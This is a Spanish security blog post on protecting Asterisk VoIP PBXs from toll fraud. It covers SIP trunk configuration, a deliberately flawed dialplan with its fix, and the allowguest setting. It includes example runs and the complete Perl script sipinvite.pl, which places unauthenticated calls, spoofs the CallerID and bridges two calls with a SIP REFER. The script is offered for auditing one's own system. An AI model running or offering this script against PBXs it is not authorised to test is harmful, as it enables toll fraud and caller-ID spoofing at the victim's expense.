Si decides montar una centralita Asterisk (o derivado) lo primero que debes hacer es bloquear todos los accesos a la PBX desde Internet. Muchísima gente redirige en su router el puerto 5060/UDP para que todas las conexiones del exterior vayan a su centralita. Y esto es un grave error.
Cuando montamos una centralita de VoIP lo más normal hoy en día es contratar un SIP trunk con un operador, a través del cual enrutemos nuestras llamadas salientes; del mismo modo que nos entregue las llamadas entrantes que vayan destinadas a nuestro número geográfico.
En un Asterisk vamos a poder configurar esta conexión de dos formas diferentes, según el tipo de trunk que nos facilite el operador:
- Validación por usuario: El operador configurará nuestro peer como host=dynamic y, en este caso nosotros abriremos la conexión hacia él. Configuraremos un timeout y pasado ese tiempo repetiremos el registro, de manera que mantengamos siempre viva la comunicación. En este caso y, ya que la conexión la hacemos nosotros, NO es necesario abrir ningún tipo de servicio al exterior.
- Validación por IP: El operador configurará el peer con nuestra dirección IP (host=X.X.X.X), de manera que únicamente nosotros podremos comunicarnos con él, a través de ese peer. En este caso no hará falta un registro y sí que deberemos habilitar el puerto 5060/UDP de manera que todas las conexiones entrantes vayan a nuestra PBX. Pero ojo! deberemos crear una regla en el firewall de forma que únicamente la IP de nuestro operador pueda acceder.
Lo más común es que nuestro operador nos ofrezca un trunk con validación por usuario, a no ser que seamos un reseller y tengamos muchas cuentas de clientes, de manera que el operador únicamente se limite a desviar el tráfico hacia nuestra IP para que nosotros lo gestionemos. Pero en ese caso no sería una buena opción tener sólo un Asterisk y sería conveniente usar Kamailio, OpenSIPS u otro tipo de proxy SIP.
No sé si por desconicimiento, o porque realizando pruebas en las que no se consigue conectar el trunk, la gente finalmente termina abriendo el servicio SIP y redirigiendo todo el tráfico de VoIP hacia la centralita. Y esto, unido a una mala configuración nos puede traer graves problemas.
Dejando accesible nuestra centralita desde Internet seremos objeto de continuos escaneos y de ataques de fuerza bruta intentando obtener usuarios y contraseñas válidos que permitan realizar llamadas. No voy a entrar en detalle pero es de sobra conocido que los atancantes usan aplicaciones del tipo SIPVicious para estos fines. Una vez obtenida alguna cuenta, a llamar gratis a nuestra costa, lo cual nos puede dar un buen disgusto.
Aprovechando el script del que hablé hace unos años en http://blog.pepelux.org/2012/02/15/asterisk-invite-attack/ y en http://blog.pepelux.org/2013/01/05/asterisk-%e2%80%93-invite-attack-ii/ lo he modificado para que, además de analizar si una centralita está mal configurada, permitiéndonos emitir llamadas sin necesidad de ningún tipo de autenticación, realice una transferencia a otro número. Es decir, si tenemos mal configurada una centralita, hará lo siguiente.
- Realizará una llamada a un número de teléfono
- Transferirá esa llamada a otro número
- Finalmente se establecerá una comunicación entre ambos
- Y todo ello sin la necesidad de tener ninguna cuenta de usuario en el sistema
Antes de continuar, he de decir que este estudio lo he realizado debido a la cantidad de intentos de llamada que recibo en mis máquinas. Hace unos meses publiqué un post http://blog.pepelux.org/2014/09/23/sending-fake-auth-for-device-xxx/ del que hablaba sobre el típico mensaje que aparece en nuestro Asterisk: Sending fake auth rejection for device que nos alerta de un intento de llamada pero que no identifica la IP del atacante, lo que hace complicado el bloqueo de dicha IP. En el post puse cómo modificar el código fuente del Asterisk para poder visualizar la IP y añadirla a nuestro firewall.
¿Y de dónde procede este tipo de ataques? Si usamos un honeypot y monitorizamos el tráfico, podemos ver que la gran mayoría (por no decir todos) los mensajes que llegan tienen como UserAgent sipcli/v1.8 (o la versión y release correspondiente). Buscando En Internet vemos que se trata de una aplicación de la empresa KaplanSoft y que podemos descargar aquí: http://www.kaplansoft.com/sipcli/
Este software no es una aplicación para auditoría de seguridad ni para nada relacionado con el hacking sino que se trata de un Predictive Dialer, es decir, un software que emite llamadas de forma automática con la finalidad de enviarlas a un agente en caso de ser respondidas. Sería algo así:
- Se lanza la aplicación con diferentes números a llamar, contra nuestra centralita y, normalmente con una validación por user/pass
- Al descolgar una llamada se desvía a un agente, que nos venderá algún tipo de seguro o de enciclopedia
Pero usado de forma fraudulenta, puede servir para emitir llamadas a dos destinos diferentes y ponerlos en comunicación.
Si analizamos el caso de que alguien nos robe una cuenta de usuario y emita llamadas a cualquier país, vamos a tener una pua considerable, pero si alguien emite dos llamadas usando este programa, la pua será del doble. Veamos un caso:
- Emisión de una llamada a un móvil de Senagal
- Emisión de una llamada a un móvil de Turquía
- Transferencia de llamada entre ambas
- Resultado: el coste de 2 llamadas a móviles internacionales
Como este software es de pago y además, para Windows, decidí modificar un poco mi script en perl para hacer algo similar, y de paso que me ayudara a comprender la dinámica. El script los podéis encontrar al final del post, por si deseáis probar la seguridad de vuestra centralita.
Supongo que surgiran ciertas dudas con respecto a este tipo de ataques …
¿Cómo es posible emitir una llamada desde un script?, ¿no se necesitan dos teléfonos para poder establecer uan comunicación?
Evidentemente, enviando un INVITE desde un script de consola no vamos a poder establecer una comunicación. Pero sí que podremos hacer sonar uno de los teléfonos y verificar que la centralita está mal configurada y es vulnerable.
¿Cómo puedo hacer una transferencia de llamada desde un script?, ¿esto no se hace pulsando el botón TRANSFER de mi teléfono?
Recordemos que en la VoIP todo funciona con una cominicación de paquetes o mensajes. Nosotros (nuestra centralita o nuestro dispositivo) enviamos los comandos identificando lo que deseamos hacer. Al igual que enviamos un INVITE para solicitar una llamada, podemos enviar un REFER para solicitar una transferencia.
Recordemos cómo sería una petición de llamada (sin autenticación):
- El usuario envía, a través de su terminal, un mensaje INVITE con un número de destino
- El servidor le responde con un 100 TRYING diciendo que lo está intentando
- Si la llamada sigue su curso, nos devolverá un 180 RINGING, que quiere decir que está a la espera de que el destino conteste la llamada
- Tras contestar, nos mandará un 200 OK indicando que se ha establecido la comunicación
- Comenzaremos a hablar con el otro interlocutor
- Uno de los dos extremos colgará y se mandará un BYE indicando que la comunicación ha finalizado
Veamos cómo hacer una llamada con el script:
pepelux@debian:~$ perl sipinvite.pl Usage: sipinvite.pl -h <host> -d <dst_number> [options] == Options == -d <integer> = Destination number -u <string> = Username to authenticate -p <string> = Password to authenticate -s <integer> = Source number (CallerID) (default: 100) -r <integer> = Remote port (default: 5060) -t <integer> = Transfer call to another number -ip <string> = Source IP (by default it is the same as host) -v = Verbose (trace information) == Examples == $sipinvite.pl -h 192.168.0.1 -d 100 $sipinvite.pl -h 192.168.0.1 -u sipuser -p supersecret -d 100 -r 5080 $sipinvite.pl -h 192.168.0.1 -s 200 -d 555555555 -v $sipinvite.pl -h 192.168.0.1 -d 555555555 -t 666666666 $sipinvite.pl -h 192.168.0.1 -d 100 -ip 1.2.3.4
Probamos a hacer una llamada, sin poner ningún tipo de autenticación, y vemos que los mensajes que devuelve son los esperados, primero un Trying, un Ringing y un OK … y me tendréis que creer si os digo que mi teléfono sonó 🙂
$ perl sipinvite.pl -h 185.XX.YY.ZZ -d 675XXXXXX [+] Sending INVITE 100 => 675XXXXXX [-] 100 Trying [-] 180 Ringing [-] 200 OK
Es más, si el operador permite prefijar el identificador de llamada (CallerID) que queramos, podemos incluso forzarlo y nos aparecerá en nuestro teléfono como que nos llama otra persona:
$ perl sipinvite.pl -h 185.XX.YY.ZZ -d 675XXXXXX -s 666666666 [+] Sending INVITE 100 => 675XXXXXX [-] 100 Trying [-] 180 Ringing [-] 200 OK
Y ahora vamos a la parte más interesante. Si echamos un vistazo al mensaje REFER vemos que nos permite realizar transferencias de llamadas, atendidas o no atendidas. En este caso lo que nos interes es un transferencia no atendida. Y el callfow sería similar al siguiente:
- Enviaremos un mensaje INVITE con un número de destino
- El servidor le responde con un 100 TRYING, un 180 RINGING y un 200 OK, al igual que antes
- Enviaremos un mensaje REFER indicando que queremos transferir la llamada a otro número
- El servidor nos mandará un 200 OK y emitirá un segundo INVITE hacia el otro teléfono
Y esto dese el script quedaría así:
$ perl sipinvite.pl -h 185.XX.YY.ZZ -d 675XXXXXX -t 666XXXXXX [+] Sending INVITE 100 => 675XXXXXX [-] 100 Trying [-] 180 Ringing [-] 200 OK [+] Sending ACK [-] 200 OK [+] Sending REFER 100 => 666XXXXXX [-] 202 Accepted
Es decir, se realiza la llamada al primer número y tras descolgar le decimos al servidor que transfiera su llamada al segundo número:
- Pedimos al servidor que llame desde la extensión 100 al 675XXXXXX
- Luego le pedimos que transfiera la 100 al 666XXXXXX
- Finalmente quedamos en comunicación los dos móviles
Ahora imaginaros que el que ha accedido es un atacante que quiere comunicar dos móviles de cualquier país, usando para ello 2 canales. Y que tenemos configurados 20 canales en ese peer, permitiéndole hacer, de forma simultánea, 10 llamadas dobles. Imaginad en unas pocas horas el gasto que nos puede generar.
Como detalle diré que para dejar la centralita vulnerable, lo único que hice fue poner un contexto default erróneo en extensions.conf:
[phones] exten => 100,1,Dial(SIP/100,30) include => outcoming [outcoming] exten => _X.,1,Dial(SIP/trunk/${EXTEN},30) [default] include => phones
Como se puede apreciar, el contexto default, que es a donde van las llamadas entrantes, o no identificadas en cualquier otro contexto, tiene acceso a outcoming, ya que incluye phones y este a su vez incluye outcoming.
Lo correcto sería algo así:
[phones] include => incoming include => outcoming [incoming] exten => 100,1,Dial(SIP/100,30) [outcoming] exten => _X.,1,Dial(SIP/trunk/${EXTEN},30) [default] include => incoming
Con el contexto default bien configurado no nos dejaría llamar, como se puede apreciar:
$ perl sipinvite.pl -h 185.XX.YY.XX -d 675XXXXXX [+] Sending INVITE 100 => 675XXXXXX [-] 404 Not Found
Aún en el caso de que tengamos mal configurados nuestros contextos, si tuviéramos la directiva allowguest=no en nuestro sip.conf, nos pediría una autenticación de usuario impidiéndonos llamar si no nos validamos antes. Algo así:
$ perl sipinvite.pl -h 185.XX.YY.ZZ -d 675XXXXXX [+] Sending INVITE 100 => 675XXXXXX [-] 401 Unauthorized
Pero recordemos que esta directiva viene por defecto a yes y somos nosotros los responsables de desactivarla si no le vamos a dar uso.
Y aquí está el script:
#!/usr/bin/perl # -=-=-=-=-=-=-= # SipINVITE v1.2 # -=-=-=-=-=-=-= # # Pepelux <pepeluxx@gmail.com> use warnings; use strict; use IO::Socket; use NetAddr::IP; use Getopt::Long; use Digest::MD5 qw(md5 md5_hex md5_base64); my $useragent = 'pplsip'; my $host = ''; # host my $dport = ''; # destination port my $from = ''; # source number my $to = ''; # destination number my $refer = ''; # refer number my $v = 0; # verbose mode my $user = ''; # auth user my $pass = ''; # auth pass my $realm = ''; my $nonce = ''; my $response = ''; my $digest = ''; my $to_ip = ''; my $from_ip = ''; sub init() { # check params my $result = GetOptions ("h=s" => \$host, "u=s" => \$user, "p=s" => \$pass, "d=s" => \$to, "s=s" => \$from, "ip=s" => \$from_ip, "r=s" => \$dport, "t=s" => \$refer, "v+" => \$v); help() if ($host eq "" || $to eq ""); $dport = "5060" if ($dport eq ""); $user = "100" if ($user eq ""); $from = $user if ($from eq ""); $to_ip = inet_ntoa(inet_aton($host)); $from_ip = $to_ip if ($from_ip eq ""); my $callid = &generate_random_string(32, 1); my $sc = new IO::Socket::INET->new(PeerPort=>$dport, Proto=>'udp', PeerAddr=>$to_ip, Timeout => 10); my $lport = $sc->sockport(); # first INVITE my $csec = 1; my $res = send_invite($sc, $from_ip, $to_ip, $lport, $dport, $from, $to, $digest, $callid, $csec, $user); # Authentication if (($res =~ /^401/ || $res =~ /^407/) && $user ne '' && $pass ne '') { $csec++; my $uri = "sip:$to\@$to_ip"; my $a = md5_hex($user.':'.$realm.':'.$pass); my $b = md5_hex('INVITE:'.$uri); my $r = md5_hex($a.':'.$nonce.':'.$b); $digest = "username=\"$user\", realm=\"$realm\", nonce=\"$nonce\", uri=\"$uri\", response=\"$r\", algorithm=MD5"; $res = send_invite($sc, $from_ip, $to_ip, $lport, $dport, $from, $to, $digest, $callid, $csec, $user); } # Transfer call if ($res =~ /^200/ && $refer ne "") { $csec++; $res = send_ack($sc, $from_ip, $to_ip, $lport, $dport, $from, $to, $digest, $callid, $csec); $csec++; $res = send_refer($sc, $from_ip, $to_ip, $lport, $dport, $from, $to, $digest, $callid, $csec, $user, $refer); } exit; } # Send INVITE message sub send_invite { my $sc = shift; my $from_ip = shift; my $to_ip = shift; my $lport = shift; my $dport = shift; my $from = shift; my $to = shift; my $digest = shift; my $callid = shift; my $cseq = shift; my $user = shift; my $branch = &generate_random_string(71, 0); my $msg = "INVITE sip:".$to."@".$to_ip." SIP/2.0\n"; $msg .= "To: $to <sip:".$to."@".$to_ip.">\n"; $msg .= "From: $from <sip:".$user."@".$from_ip.">;tag=0c26cd11\n"; $msg .= "Via: SIP/2.0/UDP $to_ip:$lport;branch=$branch;rport\n"; $msg .= "Call-ID: ".$callid."\n"; $msg .= "CSeq: $cseq INVITE\n"; $msg .= "Contact: <sip:".$to."@".$to_ip.":$lport>\n"; $msg .= "Authorization: Digest $digest\n" if ($digest ne ""); $msg .= "User-Agent: $useragent\n"; $msg .= "Max-forwards: 70\n"; $msg .= "Allow: INVITE, ACK, CANCEL, BYE, REFER\n"; $msg .= "Content-Type: application/sdp\n"; my $sdp .= "v=0\n"; $sdp .= "o=anonymous 1312841870 1312841870 IN IP4 $to_ip\n"; $sdp .= "s=session\n"; $sdp .= "c=IN IP4 $from_ip\n"; $sdp .= "t=0 0\n"; $sdp .= "m=audio 2362 RTP/AVP 0\n"; $sdp .= "a=rtpmap:18 G729/8000\n"; $sdp .= "a=rtpmap:0 PCMU/8000\n"; $sdp .= "a=rtpmap:8 PCMA/8000\n"; $sdp .= "a=rtpmap:101 telephone-event/8000\n\n"; $msg .= "Content-Length: ".length($sdp)."\n\n"; $msg .= $sdp; print $sc $msg; if ($v eq 0) { print "[+] Sending INVITE $from => $to\n"; } else { print "Sending:\n=======\n$msg"; } my $data = ""; my $response = ""; my $line = ""; LOOP: { while (<$sc>) { $line = $_; if ($line =~ /^SIP\/2.0/ && $response eq "") { $line =~ /^SIP\/2.0\s(.+)\r\n/; if ($1) { $response = $1; } } if ($line =~ /^WWW-Authenticate:/) { $line =~ /^WWW-Authenticate:\sDigest\salgorithm=(.+),\srealm=\"(.+)\",\snonce=\"(.+)\"\r\n/; $realm = $2 if ($2); $nonce = $3 if ($3); } $data .= $line; if ($line =~ /^\r\n/) { if ($v eq 0) { print "[-] $response\n"; } else { print "Receiving:\n=========\n$data"; } last LOOP if ($response !~ /^1/); $data = ""; $response = ""; } } } return $response; } # Send ACK message sub send_ack { my $sc = shift; my $from_ip = shift; my $to_ip = shift; my $lport = shift; my $dport = shift; my $from = shift; my $to = shift; my $digest = shift; my $callid = shift; my $cseq = shift; my $branch = &generate_random_string(71, 0); my $msg = "ACK sip:".$to."@".$to_ip." SIP/2.0\n"; $msg .= "To: $to <sip:".$to."@".$to_ip.">\n"; $msg .= "From: $from <sip:".$from."@".$from_ip.">;tag=0c26cd11\n"; $msg .= "Via: SIP/2.0/UDP $to_ip:$lport;branch=$branch;rport\n"; $msg .= "Call-ID: ".$callid."\n"; $msg .= "CSeq: $cseq ACK\n"; $msg .= "Contact: <sip:".$to."@".$to_ip.":$lport>\n"; $msg .= "Authorization: Digest $digest\n" if ($digest ne ""); $msg .= "User-Agent: $useragent\n"; $msg .= "Max-forwards: 70\n"; $msg .= "Allow: INVITE, ACK, CANCEL, BYE, REFER\n"; $msg .= "Content-Length: 0\n\n"; print $sc $msg; if ($v eq 0) { print "[+] Sending ACK\n"; } else { print "Sending:\n=======\n$msg"; } my $data = ""; my $response = ""; my $line = ""; LOOP: { while (<$sc>) { $line = $_; if ($line =~ /^SIP\/2.0/ && $response eq "") { $line =~ /^SIP\/2.0\s(.+)\r\n/; if ($1) { $response = $1; } } $data .= $line; if ($line =~ /^\r\n/) { if ($v eq 0) { print "[-] $response\n"; } else { print "Receiving:\n=========\n$data"; } last LOOP if ($response !~ /^1/); $data = ""; $response = ""; } } } return $response; } # Send REFER message sub send_refer { my $sc = shift; my $from_ip = shift; my $to_ip = shift; my $lport = shift; my $dport = shift; my $from = shift; my $to = shift; my $digest = shift; my $callid = shift; my $cseq = shift; my $user = shift; my $referto = shift; my $branch = &generate_random_string(71, 0); my $msg = "REFER sip:".$to."@".$to_ip." SIP/2.0\n"; $msg .= "To: $to <sip:".$to."@".$to_ip.">\n"; $msg .= "From: $user <sip:".$user."@".$to_ip.">;tag=0c26cd11\n"; $msg .= "Via: SIP/2.0/UDP $to_ip:$lport;branch=$branch;rport\n"; $msg .= "Call-ID: ".$callid."\n"; $msg .= "CSeq: $cseq REFER\n"; $msg .= "Contact: <sip:".$user."@".$from_ip.":$lport>\n"; $msg .= "Authorization: Digest $digest\n" if ($digest ne ""); $msg .= "User-Agent: $useragent\n"; $msg .= "Max-forwards: 70\n"; $msg .= "Allow: INVITE, ACK, CANCEL, BYE, REFER\n"; $msg .= "Refer-To: <sip:".$referto."@".$to_ip.">\n"; $msg .= "Referred-By: <sip:".$user."@".$from_ip.":$lport>\n"; $msg .= "Content-Length: 0\n\n"; print $sc $msg; if ($v eq 0) { print "[+] Sending REFER $from => $refer\n"; } else { print "Sending:\n=======\n$msg"; } my $data = ""; my $response = ""; my $line = ""; LOOP: { while (<$sc>) { $line = $_; if ($line =~ /^SIP\/2.0/ && $response eq "") { $line =~ /^SIP\/2.0\s(.+)\r\n/; if ($1) { $response = $1; } } $data .= $line; if ($line =~ /^\r\n/) { if ($v eq 0) { print "[-] $response\n"; } else { print "Receiving:\n=========\n$data"; } last LOOP if ($response !~ /^1/); $data = ""; $response = ""; } } } return $response; } # Generate a random string sub generate_random_string { my $length_of_randomstring = shift; my $only_hex = shift; my @chars; if ($only_hex == 0) { @chars = ('a'..'z','0'..'9'); } else { @chars = ('a'..'f','0'..'9'); } my $random_string; foreach (1..$length_of_randomstring) { $random_string.=$chars[rand @chars]; } return $random_string; } sub help { print qq{ SipINVITE v1.2 - by Pepelux <pepeluxx\@gmail.com> -------------- Usage: perl $0 -h <host> -d <dst_number> [options] == Options == -d <integer> = Destination number -u <string> = Username to authenticate -p <string> = Password to authenticate -s <integer> = Source number (CallerID) (default: 100) -r <integer> = Remote port (default: 5060) -t <integer> = Transfer call to another number -ip <string> = Source IP (by default it is the same as host) -v = Verbose (trace information) == Examples == \$perl $0 -h 192.168.0.1 -d 100 \$perl $0 -h 192.168.0.1 -u sipuser -p supersecret -d 100 -r 5080 \$perl $0 -h 192.168.0.1 -s 200 -d 555555555 -v \$perl $0 -h 192.168.0.1 -d 555555555 -t 666666666 \$perl $0 -h 192.168.0.1 -d 100 -ip 1.2.3.4 }; exit 1; } init();
Saludos
+1 pepelux muy muy bueno!
He llegado hasta aquí investigando como protegerse financieramente de un ataque y hackero telefónico. ¿Cómo de frecuente y cuanto preocupa a las consultoras y usuarios de voz Ip esta potencial pérdida? ¿Sabéis que el mercado aseguradora ofrece coberturas para hacerse cargo incluso del coste de llamada en caso del potencial hackero de una red de voz IP?
Hola Sergio
En primer lugar, el usuario (empresa) que utiliza VoIP en su oficina no suele ser consciente de que pueda recibir un ataque y perder dinero, ya que con la telefonía convencional nunca ha tenido que preocuparse por ello. Con la VoIP aparecen muchísimas ventajas en cuanto a prestaciones y costes frente a una centralita convencional, pero tenemos el añadido de que va todo por Internet y hay que tomar unas medidas mínimas tanto a nivel de centralita como a la hora de seleccionar un operador adecuado. Si sólo buscas un operador barato, es como todo … lo barato puede salir caro.
Hoy en día hay más operadores que bares y muchos de ellos no son profesionales cualificados y las empresas que quieren contratar un servicio de telefonía por VoIP, se preocupan sólo de 2 cosas: calidad en llamadas y bajos costes. Pero no van más allá y no miran si ese operador tiene sistemas seguros y medidas antifraude, por ejemplo.